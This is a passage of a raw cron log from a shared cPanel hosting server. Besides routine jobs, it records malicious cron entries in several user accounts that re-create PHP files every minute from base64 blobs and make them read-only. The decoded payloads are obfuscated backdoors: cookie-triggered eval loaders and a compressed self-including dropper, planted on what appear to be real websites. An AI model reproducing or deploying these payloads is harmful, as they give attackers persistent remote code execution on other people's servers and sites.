ZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:07:01 medusa CROND[6077]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:07:01 medusa CROND[6078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:07:01 medusa CROND[6079]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:07:01 medusa CROND[6080]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:07:01 medusa CROND[6081]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:07:01 medusa CROND[6085]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:07:01 medusa CROND[6088]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:07:01 medusa CROND[6089]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:07:01 medusa CROND[6087]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:08:01 medusa CROND[29562]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 19:08:01 medusa CROND[29564]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:08:01 medusa CROND[29570]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:08:01 medusa CROND[29571]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:08:01 medusa CROND[29572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:08:01 medusa CROND[29573]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:08:01 medusa CROND[29574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:08:01 medusa CROND[29575]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:08:01 medusa CROND[29566]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:08:01 medusa CROND[29576]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:08:01 medusa CROND[29578]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:08:01 medusa CROND[29580]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:08:01 medusa CROND[29589]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:08:01 medusa CROND[29592]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:09:01 medusa CROND[21008]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:09:01 medusa CROND[21084]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:09:01 medusa CROND[21086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:09:01 medusa CROND[21087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:09:01 medusa CROND[21088]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 19:09:01 medusa CROND[21090]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:09:01 medusa CROND[21101]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:09:01 medusa CROND[21102]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:09:01 medusa CROND[21104]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:09:01 medusa CROND[21109]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:09:01 medusa CROND[21111]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 